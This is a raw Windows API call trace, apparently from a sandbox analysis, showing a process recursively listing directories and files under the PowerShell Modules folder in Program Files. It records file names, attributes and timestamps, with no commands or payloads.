	[0158.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\*", lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x508de0
	[0158.653] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.653] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0158.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46b03d0
	[0158.653] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics") returned 142
	[0158.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\*", lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4642000
	[0158.654] FindNextFileW (in: hFindFile=0x4642000, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.654] FindNextFileW (in: hFindFile=0x4642000, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0158.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46c03d8
	[0158.654] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple") returned 149
	[0158.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4642400
	[0158.655] FindNextFileW (in: hFindFile=0x4642400, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.655] FindNextFileW (in: hFindFile=0x4642400, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.655] FindNextFileW (in: hFindFile=0x4642400, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0158.655] FindClose (in: hFindFile=0x4642400 | out: hFindFile=0x4642400) returned 1
	[0158.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0158.655] FindNextFileW (in: hFindFile=0x4642000, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0158.655] FindClose (in: hFindFile=0x4642000 | out: hFindFile=0x4642000) returned 1
	[0158.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0158.655] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0158.656] FindClose (in: hFindFile=0x508de0 | out: hFindFile=0x508de0) returned 1
	[0158.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0158.656] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0
	[0158.656] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0158.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0158.657] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0
	[0158.657] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0158.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0159.137] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0
	[0159.137] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0159.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0159.875] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0
	[0159.876] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0159.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0159.876] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0159.876] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0159.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0159.876] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1
	[0159.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0159.876] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement") returned 60
	[0159.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0159.876] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.876] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1
	[0159.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0159.877] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1") returned 68
	[0159.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0159.877] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0159.877] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en", cAlternateFileName="")) returned 1
	[0159.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0159.877] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en") returned 71
	[0159.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0159.896] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.896] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0159.896] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.CoreProviders.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0159.896] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0159.896] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsiProvider.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0159.896] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsuProvider.resources.dll", cAlternateFileName="MIADC5~1.DLL")) returned 1
	[0159.897] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.resources.dll", cAlternateFileName="MIC579~1.DLL")) returned 1
	[0159.897] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 1
	[0159.897] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 0
	[0159.897] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0159.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0159.901] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0159.901] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.CoreProviders.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0159.902] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0159.902] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
